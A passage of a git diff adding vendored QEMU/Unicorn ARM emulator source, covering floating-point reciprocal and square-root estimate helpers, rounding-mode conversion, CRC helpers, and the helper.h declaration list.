int64_to_float64(q_int, s); + q = float64_add(q, float64_half, s); + q = float64_div(q, float64_512, s); + q = float64_div(float64_one, q, s); + + /* s = (int)(256.0 * r + 0.5) */ + q = float64_mul(q, float64_256, s); + q = float64_add(q, float64_half, s); + q_int = float64_to_int64_round_to_zero(q, s); + + /* return (double)s / 256.0 */ + return float64_div(int64_to_float64(q_int, s), float64_256, s); +} + +/* Common wrapper to call recip_estimate */ +static float64 call_recip_estimate(float64 num, int off, float_status *fpst) +{ + uint64_t val64 = float64_val(num); + uint64_t frac = extract64(val64, 0, 52); + int64_t exp = extract64(val64, 52, 11); + uint64_t sbit; + float64 scaled, estimate; + + /* Generate the scaled number for the estimate function */ + if (exp == 0) { + if (extract64(frac, 51, 1) == 0) { + exp = -1; + frac = extract64(frac, 0, 50) << 2; + } else { + frac = extract64(frac, 0, 51) << 1; + } + } + + /* scaled = '0' : '01111111110' : fraction<51:44> : Zeros(44); */ + scaled = make_float64((0x3feULL << 52) + | extract64(frac, 44, 8) << 44); + + estimate = recip_estimate(scaled, fpst); + + /* Build new result */ + val64 = float64_val(estimate); + sbit = 0x8000000000000000ULL & val64; + exp = off - exp; + frac = extract64(val64, 0, 52); + + if (exp == 0) { + frac = 1ULL << 51 | extract64(frac, 1, 51); + } else if (exp == -1) { + frac = 1ULL << 50 | extract64(frac, 2, 50); + exp = 0; + } + + return make_float64(sbit | (exp << 52) | frac); +} + +static bool round_to_inf(float_status *fpst, bool sign_bit) +{ + switch (fpst->float_rounding_mode) { + case float_round_nearest_even: /* Round to Nearest */ + return true; + case float_round_up: /* Round to +Inf */ + return !sign_bit; + case float_round_down: /* Round to -Inf */ + return sign_bit; + case float_round_to_zero: /* Round to Zero */ + return false; + default: + break; + } + + g_assert_not_reached(); + return false; +} + +float32 HELPER(recpe_f32)(float32 input, void *fpstp) +{ + float_status *fpst = fpstp; + float32 f32 = float32_squash_input_denormal(input, fpst); + uint32_t f32_val = float32_val(f32); + uint32_t f32_sbit = 0x80000000ULL & f32_val; + int32_t f32_exp = extract32(f32_val, 23, 8); + uint32_t f32_frac = extract32(f32_val, 0, 23); + float64 f64, r64; + uint64_t r64_val; + int64_t r64_exp; + uint64_t r64_frac; + + if (float32_is_any_nan(f32)) { + float32 nan = f32; + if (float32_is_signaling_nan(f32)) { + float_raise(float_flag_invalid, fpst); + nan = float32_maybe_silence_nan(f32); + } + if (fpst->default_nan_mode) { + nan = float32_default_nan; + } + return nan; + } else if (float32_is_infinity(f32)) { + return float32_set_sign(float32_zero, float32_is_neg(f32)); + } else if (float32_is_zero(f32)) { + float_raise(float_flag_divbyzero, fpst); + return float32_set_sign(float32_infinity, float32_is_neg(f32)); + } else if ((f32_val & ~(1ULL << 31)) < (1ULL << 21)) { + /* Abs(value) < 2.0^-128 */ + float_raise(float_flag_overflow | float_flag_inexact, fpst); + if (round_to_inf(fpst, f32_sbit)) { + return float32_set_sign(float32_infinity, float32_is_neg(f32)); + } else { + return float32_set_sign(float32_maxnorm, float32_is_neg(f32)); + } + } else if (f32_exp >= 253 && fpst->flush_to_zero) { + float_raise(float_flag_underflow, fpst); + return float32_set_sign(float32_zero, float32_is_neg(f32)); + } + + + f64 = make_float64(((int64_t)(f32_exp) << 52) | (int64_t)(f32_frac) << 29); + r64 = call_recip_estimate(f64, 253, fpst); + r64_val = float64_val(r64); + r64_exp = extract64(r64_val, 52, 11); + r64_frac = extract64(r64_val, 0, 52); + + /* result = sign : result_exp<7:0> : fraction<51:29>; */ + return make_float32(f32_sbit | + (r64_exp & 0xff) << 23 | + extract64(r64_frac, 29, 24)); +} + +float64 HELPER(recpe_f64)(float64 input, void *fpstp) +{ + float_status *fpst = fpstp; + float64 f64 = float64_squash_input_denormal(input, fpst); + uint64_t f64_val = float64_val(f64); + uint64_t f64_sbit = 0x8000000000000000ULL & f64_val; + int64_t f64_exp = extract64(f64_val, 52, 11); + float64 r64; + uint64_t r64_val; + int64_t r64_exp; + uint64_t r64_frac; + + /* Deal with any special cases */ + if (float64_is_any_nan(f64)) { + float64 nan = f64; + if (float64_is_signaling_nan(f64)) { + float_raise(float_flag_invalid, fpst); + nan = float64_maybe_silence_nan(f64); + } + if (fpst->default_nan_mode) { + nan = float64_default_nan; + } + return nan; + } else if (float64_is_infinity(f64)) { + return float64_set_sign(float64_zero, float64_is_neg(f64)); + } else if (float64_is_zero(f64)) { + float_raise(float_flag_divbyzero, fpst); + return float64_set_sign(float64_infinity, float64_is_neg(f64)); + } else if ((f64_val & ~(1ULL << 63)) < (1ULL << 50)) { + /* Abs(value) < 2.0^-1024 */ + float_raise(float_flag_overflow | float_flag_inexact, fpst); + if (round_to_inf(fpst, f64_sbit)) { + return float64_set_sign(float64_infinity, float64_is_neg(f64)); + } else { + return float64_set_sign(float64_maxnorm, float64_is_neg(f64)); + } + } else if (f64_exp >= 1023 && fpst->flush_to_zero) { + float_raise(float_flag_underflow, fpst); + return float64_set_sign(float64_zero, float64_is_neg(f64)); + } + + r64 = call_recip_estimate(f64, 2045, fpst); + r64_val = float64_val(r64); + r64_exp = extract64(r64_val, 52, 11); + r64_frac = extract64(r64_val, 0, 52); + + /* result = sign : result_exp<10:0> : fraction<51:0> */ + return make_float64(f64_sbit | + ((r64_exp & 0x7ff) << 52) | + r64_frac); +} + +/* The algorithm that must be used to calculate the estimate + * is specified by the ARM ARM. + */ +static float64 recip_sqrt_estimate(float64 a, float_status *real_fp_status) +{ + /* These calculations mustn't set any fp exception flags, + * so we use a local copy of the fp_status. + */ + float_status dummy_status = *real_fp_status; + float_status *s = &dummy_status; + float64 q; + int64_t q_int; + + if (float64_lt(a, float64_half, s)) { + /* range 0.25 <= a < 0.5 */ + + /* a in units of 1/512 rounded down */ + /* q0 = (int)(a * 512.0); */ + q = float64_mul(float64_512, a, s); + q_int = float64_to_int64_round_to_zero(q, s); + + /* reciprocal root r */ + /* r = 1.0 / sqrt(((double)q0 + 0.5) / 512.0); */ + q = int64_to_float64(q_int, s); + q = float64_add(q, float64_half, s); + q = float64_div(q, float64_512, s); + q = float64_sqrt(q, s); + q = float64_div(float64_one, q, s); + } else { + /* range 0.5 <= a < 1.0 */ + + int64_t q_int; + + /* a in units of 1/256 rounded down */ + /* q1 = (int)(a * 256.0); */ + q = float64_mul(float64_256, a, s); + q_int = float64_to_int64_round_to_zero(q, s); + + /* reciprocal root r */ + /* r = 1.0 /sqrt(((double)q1 + 0.5) / 256); */ + q = int64_to_float64(q_int, s); + q = float64_add(q, float64_half, s); + q = float64_div(q, float64_256, s); + q = float64_sqrt(q, s); + q = float64_div(float64_one, q, s); + } + /* r in units of 1/256 rounded to nearest */ + /* s = (int)(256.0 * r + 0.5); */ + + q = float64_mul(q, float64_256,s ); + q = float64_add(q, float64_half, s); + q_int = float64_to_int64_round_to_zero(q, s); + + /* return (double)s / 256.0;*/ + return float64_div(int64_to_float64(q_int, s), float64_256, s); +} + +float32 HELPER(rsqrte_f32)(float32 input, void *fpstp) +{ + float_status *s = fpstp; + float32 f32 = float32_squash_input_denormal(input, s); + uint32_t val = float32_val(f32); + uint32_t f32_sbit = 0x80000000 & val; + int32_t f32_exp = extract32(val, 23, 8); + uint32_t f32_frac = extract32(val, 0, 23); + uint64_t f64_frac; + uint64_t val64; + int result_exp; + float64 f64; + + if (float32_is_any_nan(f32)) { + float32 nan = f32; + if (float32_is_signaling_nan(f32)) { + float_raise(float_flag_invalid, s); + nan = float32_maybe_silence_nan(f32); + } + if (s->default_nan_mode) { + nan = float32_default_nan; + } + return nan; + } else if (float32_is_zero(f32)) { + float_raise(float_flag_divbyzero, s); + return float32_set_sign(float32_infinity, float32_is_neg(f32)); + } else if (float32_is_neg(f32)) { + float_raise(float_flag_invalid, s); + return float32_default_nan; + } else if (float32_is_infinity(f32)) { + return float32_zero; + } + + /* Scale and normalize to a double-precision value between 0.25 and 1.0, + * preserving the parity of the exponent. */ + + f64_frac = ((uint64_t) f32_frac) << 29; + if (f32_exp == 0) { + while (extract64(f64_frac, 51, 1) == 0) { + f64_frac = f64_frac << 1; + f32_exp = f32_exp-1; + } + f64_frac = extract64(f64_frac, 0, 51) << 1; + } + + if (extract64(f32_exp, 0, 1) == 0) { + f64 = make_float64(((uint64_t) f32_sbit) << 32 + | (0x3feULL << 52) + | f64_frac); + } else { + f64 = make_float64(((uint64_t) f32_sbit) << 32 + | (0x3fdULL << 52) + | f64_frac); + } + + result_exp = (380 - f32_exp) / 2; + + f64 = recip_sqrt_estimate(f64, s); + + val64 = float64_val(f64); + + val = ((result_exp & 0xff) << 23) + | ((val64 >> 29) & 0x7fffff); + return make_float32(val); +} + +float64 HELPER(rsqrte_f64)(float64 input, void *fpstp) +{ + float_status *s = fpstp; + float64 f64 = float64_squash_input_denormal(input, s); + uint64_t val = float64_val(f64); + uint64_t f64_sbit = 0x8000000000000000ULL & val; + int64_t f64_exp = extract64(val, 52, 11); + uint64_t f64_frac = extract64(val, 0, 52); + int64_t result_exp; + uint64_t result_frac; + + if (float64_is_any_nan(f64)) { + float64 nan = f64; + if (float64_is_signaling_nan(f64)) { + float_raise(float_flag_invalid, s); + nan = float64_maybe_silence_nan(f64); + } + if (s->default_nan_mode) { + nan = float64_default_nan; + } + return nan; + } else if (float64_is_zero(f64)) { + float_raise(float_flag_divbyzero, s); + return float64_set_sign(float64_infinity, float64_is_neg(f64)); + } else if (float64_is_neg(f64)) { + float_raise(float_flag_invalid, s); + return float64_default_nan; + } else if (float64_is_infinity(f64)) { + return float64_zero; + } + + /* Scale and normalize to a double-precision value between 0.25 and 1.0, + * preserving the parity of the exponent. */ + + if (f64_exp == 0) { + while (extract64(f64_frac, 51, 1) == 0) { + f64_frac = f64_frac << 1; + f64_exp = f64_exp - 1; + } + f64_frac = extract64(f64_frac, 0, 51) << 1; + } + + if (extract64(f64_exp, 0, 1) == 0) { + f64 = make_float64(f64_sbit + | (0x3feULL << 52) + | f64_frac); + } else { + f64 = make_float64(f64_sbit + | (0x3fdULL << 52) + | f64_frac); + } + + result_exp = (3068 - f64_exp) / 2; + + f64 = recip_sqrt_estimate(f64, s); + + result_frac = extract64(float64_val(f64), 0, 52); + + return make_float64(f64_sbit | + ((result_exp & 0x7ff) << 52) | + result_frac); +} + +uint32_t HELPER(recpe_u32)(uint32_t a, void *fpstp) +{ + float_status *s = fpstp; + float64 f64; + + if ((a & 0x80000000) == 0) { + return 0xffffffff; + } + + f64 = make_float64((0x3feULL << 52) + | ((int64_t)(a & 0x7fffffff) << 21)); + + f64 = recip_estimate(f64, s); + + return 0x80000000 | ((float64_val(f64) >> 21) & 0x7fffffff); +} + +uint32_t HELPER(rsqrte_u32)(uint32_t a, void *fpstp) +{ + float_status *fpst = fpstp; + float64 f64; + + if ((a & 0xc0000000) == 0) { + return 0xffffffff; + } + + if (a & 0x80000000) { + f64 = make_float64((0x3feULL << 52) + | ((uint64_t)(a & 0x7fffffff) << 21)); + } else { /* bits 31-30 == '01' */ + f64 = make_float64((0x3fdULL << 52) + | ((uint64_t)(a & 0x3fffffff) << 22)); + } + + f64 = recip_sqrt_estimate(f64, fpst); + + return 0x80000000 | ((float64_val(f64) >> 21) & 0x7fffffff); +} + +/* VFPv4 fused multiply-accumulate */ +float32 VFP_HELPER(muladd, s)(float32 a, float32 b, float32 c, void *fpstp) +{ + float_status *fpst = fpstp; + return float32_muladd(a, b, c, 0, fpst); +} + +float64 VFP_HELPER(muladd, d)(float64 a, float64 b, float64 c, void *fpstp) +{ + float_status *fpst = fpstp; + return float64_muladd(a, b, c, 0, fpst); +} + +/* ARMv8 round to integral */ +float32 HELPER(rints_exact)(float32 x, void *fp_status) +{ + return float32_round_to_int(x, fp_status); +} + +float64 HELPER(rintd_exact)(float64 x, void *fp_status) +{ + return float64_round_to_int(x, fp_status); +} + +float32 HELPER(rints)(float32 x, void *fp_status) +{ + int old_flags = get_float_exception_flags(fp_status), new_flags; + float32 ret; + + ret = float32_round_to_int(x, fp_status); + + /* Suppress any inexact exceptions the conversion produced */ + if (!(old_flags & float_flag_inexact)) { + new_flags = get_float_exception_flags(fp_status); + set_float_exception_flags(new_flags & ~float_flag_inexact, fp_status); + } + + return ret; +} + +float64 HELPER(rintd)(float64 x, void *fp_status) +{ + int old_flags = get_float_exception_flags(fp_status), new_flags; + float64 ret; + + ret = float64_round_to_int(x, fp_status); + + new_flags = get_float_exception_flags(fp_status); + + /* Suppress any inexact exceptions the conversion produced */ + if (!(old_flags & float_flag_inexact)) { + new_flags = get_float_exception_flags(fp_status); + set_float_exception_flags(new_flags & ~float_flag_inexact, fp_status); + } + + return ret; +} + +/* Convert ARM rounding mode to softfloat */ +int arm_rmode_to_sf(int rmode) +{ + switch (rmode) { + case FPROUNDING_TIEAWAY: + rmode = float_round_ties_away; + break; + case FPROUNDING_ODD: + /* FIXME: add support for TIEAWAY and ODD */ + qemu_log_mask(LOG_UNIMP, "arm: unimplemented rounding mode: %d\n", + rmode); + case FPROUNDING_TIEEVEN: + default: + rmode = float_round_nearest_even; + break; + case FPROUNDING_POSINF: + rmode = float_round_up; + break; + case FPROUNDING_NEGINF: + rmode = float_round_down; + break; + case FPROUNDING_ZERO: + rmode = float_round_to_zero; + break; + } + return rmode; +} + +/* CRC helpers. + * The upper bytes of val (above the number specified by 'bytes') must have + * been zeroed out by the caller. + */ +uint32_t HELPER(crc32_arm)(uint32_t acc, uint32_t val, uint32_t bytes) +{ +#if 0 // FIXME + uint8_t buf[4]; + + stl_le_p(buf, val); + + /* zlib crc32 converts the accumulator and output to one's complement. */ + return crc32(acc ^ 0xffffffff, buf, bytes) ^ 0xffffffff; +#endif + return 0; +} + +uint32_t HELPER(crc32c)(uint32_t acc, uint32_t val, uint32_t bytes) +{ + uint8_t buf[4]; + + stl_le_p(buf, val); + + /* Linux crc32c converts the output to one's complement. */ + return crc32c(acc, buf, bytes) ^ 0xffffffff; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/helper.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/helper.h new file mode 100644 index 0000000..6427c18 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/helper.h @@ -0,0 +1,544 @@ +DEF_HELPER_4(uc_tracecode, void, i32, i32, ptr, i64) + +DEF_HELPER_FLAGS_1(clz_arm, TCG_CALL_NO_RWG_SE, i32, i32) + +DEF_HELPER_FLAGS_1(sxtb16, TCG_CALL_NO_RWG_SE, i32, i32) +DEF_HELPER_FLAGS_1(uxtb16, TCG_CALL_NO_RWG_SE, i32, i32) + +DEF_HELPER_3(add_setq, i32, env, i32, i32) +DEF_HELPER_3(add_saturate, i32, env, i32, i32) +DEF_HELPER_3(sub_saturate, i32, env, i32, i32) +DEF_HELPER_3(add_usaturate, i32, env, i32, i32) +DEF_HELPER_3(sub_usaturate, i32, env, i32, i32) +DEF_HELPER_2(double_saturate, i32, env, s32) +DEF_HELPER_FLAGS_2(sdiv, TCG_CALL_NO_RWG_SE, s32, s32, s32) +DEF_HELPER_FLAGS_2(udiv, TCG_CALL_NO_RWG_SE, i32, i32, i32) +DEF_HELPER_FLAGS_1(rbit, TCG_CALL_NO_RWG_SE, i32, i32) + +#define PAS_OP(pfx) \ + DEF_HELPER_3(pfx ## add8, i32, i32, i32, ptr) \ + DEF_HELPER_3(pfx ## sub8, i32, i32, i32, ptr) \ + DEF_HELPER_3(pfx ## sub16, i32, i32, i32, ptr) \ + DEF_HELPER_3(pfx ## add16, i32, i32, i32, ptr) \ + DEF_HELPER_3(pfx ## addsubx, i32, i32, i32, ptr) \ + DEF_HELPER_3(pfx ## subaddx, i32, i32, i32, ptr) + +PAS_OP(s) +PAS_OP(u) +#undef PAS_OP + +#define PAS_OP(pfx) \ + DEF_HELPER_2(pfx ## add8, i32, i32, i32) \ + DEF_HELPER_2(pfx ## sub8, i32, i32, i32) \ + DEF_HELPER_2(pfx ## sub16, i32, i32, i32) \ + DEF_HELPER_2(pfx ## add16, i32, i32, i32) \ + DEF_HELPER_2(pfx ## addsubx, i32, i32, i32) \ + DEF_HELPER_2(pfx ## subaddx, i32, i32, i32) +PAS_OP(q) +PAS_OP(sh) +PAS_OP(uq) +PAS_OP(uh) +#undef PAS_OP + +DEF_HELPER_3(ssat, i32, env, i32, i32) +DEF_HELPER_3(usat, i32, env, i32, i32) +DEF_HELPER_3(ssat16, i32, env, i32, i32) +DEF_HELPER_3(usat16, i32, env, i32, i32) + +DEF_HELPER_FLAGS_2(usad8, TCG_CALL_NO_RWG_SE, i32, i32, i32) + +DEF_HELPER_FLAGS_3(sel_flags, TCG_CALL_NO_RWG_SE, + i32, i32, i32, i32) +DEF_HELPER_2(exception_internal, void, env, i32) +DEF_HELPER_3(exception_with_syndrome, void, env, i32, i32) +DEF_HELPER_1(wfi, void, env) +DEF_HELPER_1(wfe, void, env) +DEF_HELPER_1(pre_hvc, void, env) +DEF_HELPER_2(pre_smc, void, env, i32) + +DEF_HELPER_3(cpsr_write, void, env, i32, i32) +DEF_HELPER_1(cpsr_read, i32, env) + +DEF_HELPER_3(v7m_msr, void, env, i32, i32) +DEF_HELPER_2(v7m_mrs, i32, env, i32) + +DEF_HELPER_3(access_check_cp_reg, void, env, ptr, i32) +DEF_HELPER_3(set_cp_reg, void, env, ptr, i32) +DEF_HELPER_2(get_cp_reg, i32, env, ptr) +DEF_HELPER_3(set_cp_reg64, void, env, ptr, i64) +DEF_HELPER_2(get_cp_reg64, i64, env, ptr) + +DEF_HELPER_3(msr_i_pstate, void, env, i32, i32) +DEF_HELPER_1(clear_pstate_ss, void, env) +DEF_HELPER_1(exception_return, void, env) + +DEF_HELPER_2(get_r13_banked, i32, env, i32) +DEF_HELPER_3(set_r13_banked, void, env, i32, i32) + +DEF_HELPER_2(get_user_reg, i32, env, i32) +DEF_HELPER_3(set_user_reg, void, env, i32, i32) + +DEF_HELPER_1(vfp_get_fpscr, i32, env) +DEF_HELPER_2(vfp_set_fpscr, void, env, i32) + +DEF_HELPER_3(vfp_adds, f32, f32, f32, ptr) +DEF_HELPER_3(vfp_addd, f64, f64, f64, ptr) +DEF_HELPER_3(vfp_subs, f32, f32, f32, ptr) +DEF_HELPER_3(vfp_subd, f64, f64, f64, ptr) +DEF_HELPER_3(vfp_muls, f32, f32, f32, ptr) +DEF_HELPER_3(vfp_muld, f64, f64, f64, ptr) +DEF_HELPER_3(vfp_divs, f32, f32, f32, ptr) +DEF_HELPER_3(vfp_divd, f64, f64, f64, ptr) +DEF_HELPER_3(vfp_maxs, f32, f32, f32, ptr) +DEF_HELPER_3(vfp_maxd, f64, f64, f64, ptr) +DEF_HELPER_3(vfp_mins, f32, f32, f32, ptr) +DEF_HELPER_3(vfp_mind, f64, f64, f64, ptr) +DEF_HELPER_3(vfp_maxnums, f32, f32, f32, ptr) +DEF_HELPER_3(vfp_maxnumd, f64, f64, f64, ptr) +DEF_HELPER_3(vfp_minnums, f32, f32, f32, ptr) +DEF_HELPER_3(vfp_minnumd, f64, f64, f64, ptr) +DEF_HELPER_1(vfp_negs, f32, f32) +DEF_HELPER_1(vfp_negd, f64, f64) +DEF_HELPER_1(vfp_abss, f32, f32) +DEF_HELPER_1(vfp_absd, f64, f64) +DEF_HELPER_2(vfp_sqrts, f32, f32, env) +DEF_HELPER_2(vfp_sqrtd, f64, f64, env) +DEF_HELPER_3(vfp_cmps, void, f32, f32, env) +DEF_HELPER_3(vfp_cmpd, void, f64, f64, env) +DEF_HELPER_3(vfp_cmpes, void, f32, f32, env) +DEF_HELPER_3(vfp_cmped, void, f64, f64, env) + +DEF_HELPER_2(vfp_fcvtds, f64, f32, env) +DEF_HELPER_2(vfp_fcvtsd, f32, f64, env) + +DEF_HELPER_2(vfp_uitos, f32, i32, ptr) +DEF_HELPER_2(vfp_uitod, f64, i32, ptr) +DEF_HELPER_2(vfp_sitos, f32, i32, ptr) +DEF_HELPER_2(vfp_sitod, f64, i32, ptr) + +DEF_HELPER_2(vfp_touis, i32, f32, ptr) +DEF_HELPER_2(vfp_touid, i32, f64, ptr) +DEF_HELPER_2(vfp_touizs, i32, f32, ptr) +DEF_HELPER_2(vfp_touizd, i32, f64, ptr) +DEF_HELPER_2(vfp_tosis, i32, f32, ptr) +DEF_HELPER_2(vfp_tosid, i32, f64, ptr) +DEF_HELPER_2(vfp_tosizs, i32, f32, ptr) +DEF_HELPER_2(vfp_tosizd, i32, f64, ptr) + +DEF_HELPER_3(vfp_toshs_round_to_zero, i32, f32, i32, ptr) +DEF_HELPER_3(vfp_tosls_round_to_zero, i32, f32, i32, ptr) +DEF_HELPER_3(vfp_touhs_round_to_zero, i32, f32, i32, ptr) +DEF_HELPER_3(vfp_touls_round_to_zero, i32, f32, i32, ptr) +DEF_HELPER_3(vfp_toshd_round_to_zero, i64, f64, i32, ptr) +DEF_HELPER_3(vfp_tosld_round_to_zero, i64, f64, i32, ptr) +DEF_HELPER_3(vfp_touhd_round_to_zero, i64, f64, i32, ptr) +DEF_HELPER_3(vfp_tould_round_to_zero, i64, f64, i32, ptr) +DEF_HELPER_3(vfp_toshs, i32, f32, i32, ptr) +DEF_HELPER_3(vfp_tosls, i32, f32, i32, ptr) +DEF_HELPER_3(vfp_tosqs, i64, f32, i32, ptr) +DEF_HELPER_3(vfp_touhs, i32, f32, i32, ptr) +DEF_HELPER_3(vfp_touls, i32, f32, i32, ptr) +DEF_HELPER_3(vfp_touqs, i64, f32, i32, ptr) +DEF_HELPER_3(vfp_toshd, i64, f64, i32, ptr) +DEF_HELPER_3(vfp_tosld, i64, f64, i32, ptr) +DEF_HELPER_3(vfp_tosqd, i64, f64, i32, ptr) +DEF_HELPER_3(vfp_touhd, i64, f64, i32, ptr) +DEF_HELPER_3(vfp_tould, i64, f64, i32, ptr) +DEF_HELPER_3(vfp_touqd, i64, f64, i32, ptr) +DEF_HELPER_3(vfp_shtos, f32, i32, i32, ptr) +DEF_HELPER_3(vfp_sltos, f32, i32, i32, ptr) +DEF_HELPER_3(vfp_sqtos, f32, i64, i32, ptr) +DEF_HELPER_3(vfp_uhtos, f32, i32, i32, ptr) +DEF_HELPER_3(vfp_ultos, f32, i32, i32, ptr) +DEF_HELPER_3(vfp_uqtos, f32, i64, i32, ptr) +DEF_HELPER_3(vfp_shtod, f64, i64, i32, ptr) +DEF_HELPER_3(vfp_sltod, f64, i64, i32, ptr) +DEF_HELPER_3(vfp_sqtod, f64, i64, i32, ptr) +DEF_HELPER_3(vfp_uhtod, f64, i64, i32, ptr) +DEF_HELPER_3(vfp_ultod, f64, i64, i32, ptr) +DEF_HELPER_3(vfp_uqtod, f64, i64, i32, ptr) + +DEF_HELPER_FLAGS_2(set_rmode, TCG_CALL_NO_RWG, i32, i32, env) +DEF_HELPER_FLAGS_2(set_neon_rmode, TCG_CALL_NO_RWG, i32, i32, env) + +DEF_HELPER_2(vfp_fcvt_f16_to_f32, f32, i32, env) +DEF_HELPER_2(vfp_fcvt_f32_to_f16, i32, f32, env) +DEF_HELPER_2(neon_fcvt_f16_to_f32, f32, i32, env) +DEF_HELPER_2(neon_fcvt_f32_to_f16, i32, f32, env) +DEF_HELPER_FLAGS_2(vfp_fcvt_f16_to_f64, TCG_CALL_NO_RWG, f64, i32, env) +DEF_HELPER_FLAGS_2(vfp_fcvt_f64_to_f16, TCG_CALL_NO_RWG, i32, f64, env) + +DEF_HELPER_4(vfp_muladdd, f64, f64, f64, f64, ptr) +DEF_HELPER_4(vfp_muladds, f32, f32, f32, f32, ptr) + +DEF_HELPER_3(recps_f32, f32, f32, f32, env) +DEF_HELPER_3(rsqrts_f32, f32, f32, f32, env) +DEF_HELPER_FLAGS_2(recpe_f32, TCG_CALL_NO_RWG, f32, f32, ptr) +DEF_HELPER_FLAGS_2(recpe_f64, TCG_CALL_NO_RWG, f64, f64, ptr) +DEF_HELPER_FLAGS_2(rsqrte_f32, TCG_CALL_NO_RWG, f32, f32, ptr) +DEF_HELPER_FLAGS_2(rsqrte_f64, TCG_CALL_NO_RWG, f64, f64, ptr) +DEF_HELPER_2(recpe_u32, i32, i32, ptr) +DEF_HELPER_FLAGS_2(rsqrte_u32, TCG_CALL_NO_RWG, i32, i32, ptr) +DEF_HELPER_5(neon_tbl, i32, env, i32, i32, i32, i32) + +DEF_HELPER_3(shl_cc, i32, env, i32, i32) +DEF_HELPER_3(shr_cc, i32, env, i32, i32) +DEF_HELPER_3(sar_cc, i32, env, i32, i32) +DEF_HELPER_3(ror_cc, i32, env, i32, i32) + +DEF_HELPER_FLAGS_2(rints_exact, TCG_CALL_NO_RWG, f32, f32, ptr) +DEF_HELPER_FLAGS_2(rintd_exact, TCG_CALL_NO_RWG, f64, f64, ptr) +DEF_HELPER_FLAGS_2(rints, TCG_CALL_NO_RWG, f32, f32, ptr) +DEF_HELPER_FLAGS_2(rintd, TCG_CALL_NO_RWG, f64, f64, ptr) + +/* neon_helper.c */ +DEF_HELPER_FLAGS_3(neon_qadd_u8, TCG_CALL_NO_RWG, i32, env, i32, i32) +DEF_HELPER_FLAGS_3(neon_qadd_s8, TCG_CALL_NO_RWG, i32, env, i32, i32) +DEF_HELPER_FLAGS_3(neon_qadd_u16, TCG_CALL_NO_RWG, i32, env, i32, i32) +DEF_HELPER_FLAGS_3(neon_qadd_s16, TCG_CALL_NO_RWG, i32, env, i32, i32) +DEF_HELPER_FLAGS_3(neon_qadd_u32, TCG_CALL_NO_RWG, i32, env, i32, i32) +DEF_HELPER_FLAGS_3(neon_qadd_s32, TCG_CALL_NO_RWG, i32, env, i32, i32) +DEF_HELPER_FLAGS_3(neon_uqadd_s8, TCG_CALL_NO_RWG, i32, env, i32, i32) +DEF_HELPER_FLAGS_3(neon_uqadd_s16, TCG_CALL_NO_RWG, i32, env, i32, i32) +DEF_HELPER_FLAGS_3(neon_uqadd_s32, TCG_CALL_NO_RWG, i32, env, i32, i32) +DEF_HELPER_FLAGS_3(neon_uqadd_s64, TCG_CALL_NO_RWG, i64, env, i64, i64) +DEF_HELPER_FLAGS_3(neon_sqadd_u8, TCG_CALL_NO_RWG, i32, env, i32, i32) +DEF_HELPER_FLAGS_3(neon_sqadd_u16, TCG_CALL_NO_RWG, i32, env, i32, i32) +DEF_HELPER_FLAGS_3(neon_sqadd_u32, TCG_CALL_NO_RWG, i32, env, i32, i32) +DEF_HELPER_FLAGS_3(neon_sqadd_u64, TCG_CALL_NO_RWG, i64, env, i64, i64) +DEF_HELPER_3(neon_qsub_u8, i32, env, i32, i32) +DEF_HELPER_3(neon_qsub_s8, i32, env, i32, i32) +DEF_HELPER_3(neon_qsub_u16, i32, env, i32, i32) +DEF_HELPER_3(neon_qsub_s16, i32, env, i32, i32) +DEF_HELPER_3(neon_qsub_u32, i32, env, i32, i32) +DEF_HELPER_3(neon_qsub_s32, i32, env, i32, i32) +DEF_HELPER_3(neon_qadd_u64, i64, env, i64, i64) +DEF_HELPER_3(neon_qadd_s64, i64, env, i64, i64) +DEF_HELPER_3(neon_qsub_u64, i64, env, i64, i64) +DEF_HELPER_3(neon_qsub_s64, i64, env, i64, i64) + +DEF_HELPER_2(neon_hadd_s8, i32, i32, i32) +DEF_HELPER_2(neon_hadd_u8, i32, i32, i32) +DEF_HELPER_2(neon_hadd_s16, i32, i32, i32) +DEF_HELPER_2(neon_hadd_u16, i32, i32, i32) +DEF_HELPER_2(neon_hadd_s32, s32, s32, s32) +DEF_HELPER_2(neon_hadd_u32, i32, i32, i32) +DEF_HELPER_2(neon_rhadd_s8, i32, i32, i32) +DEF_HELPER_2(neon_rhadd_u8, i32, i32, i32) +DEF_HELPER_2(neon_rhadd_s16, i32, i32, i32) +DEF_HELPER_2(neon_rhadd_u16, i32, i32, i32) +DEF_HELPER_2(neon_rhadd_s32, s32, s32, s32) +DEF_HELPER_2(neon_rhadd_u32, i32, i32, i32) +DEF_HELPER_2(neon_hsub_s8, i32, i32, i32) +DEF_HELPER_2(neon_hsub_u8, i32, i32, i32) +DEF_HELPER_2(neon_hsub_s16, i32, i32, i32) +DEF_HELPER_2(neon_hsub_u16, i32, i32, i32) +DEF_HELPER_2(neon_hsub_s32, s32, s32, s32) +DEF_HELPER_2(neon_hsub_u32, i32, i32, i32) + +DEF_HELPER_2(neon_cgt_u8, i32, i32, i32) +DEF_HELPER_2(neon_cgt_s8, i32, i32, i32) +DEF_HELPER_2(neon_cgt_u16, i32, i32, i32) +DEF_HELPER_2(neon_cgt_s16, i32, i32, i32) +DEF_HELPER_2(neon_cgt_u32, i32, i32, i32) +DEF_HELPER_2(neon_cgt_s32, i32, i32, i32) +DEF_HELPER_2(neon_cge_u8, i32, i32, i32) +DEF_HELPER_2(neon_cge_s8, i32, i32, i32) +DEF_HELPER_2(neon_cge_u16, i32, i32, i32) +DEF_HELPER_2(neon_cge_s16, i32, i32, i32) +DEF_HELPER_2(neon_cge_u32, i32, i32, i32) +DEF_HELPER_2(neon_cge_s32, i32, i32, i32) + +DEF_HELPER_2(neon_min_u8, i32, i32, i32) +DEF_HELPER_2(neon_min_s8, i32, i32, i32) +DEF_HELPER_2(neon_min_u16, i32, i32, i32) +DEF_HELPER_2(neon_min_s16, i32, i32, i32) +DEF_HELPER_2(neon_min_u32, i32, i32, i32) +DEF_HELPER_2(neon_min_s32, i32, i32, i32) +DEF_HELPER_2(neon_max_u8, i32, i32, i32) +DEF_HELPER_2(neon_max_s8, i32, i32, i32) +DEF_HELPER_2(neon_max_u16, i32, i32, i32) +DEF_HELPER_2(neon_max_s16, i32, i32, i32) +DEF_HELPER_2(neon_max_u32, i32, i32, i32) +DEF_HELPER_2(neon_max_s32, i32, i32, i32) +DEF_HELPER_2(neon_pmin_u8, i32, i32, i32) +DEF_HELPER_2(neon_pmin_s8, i32, i32, i32) 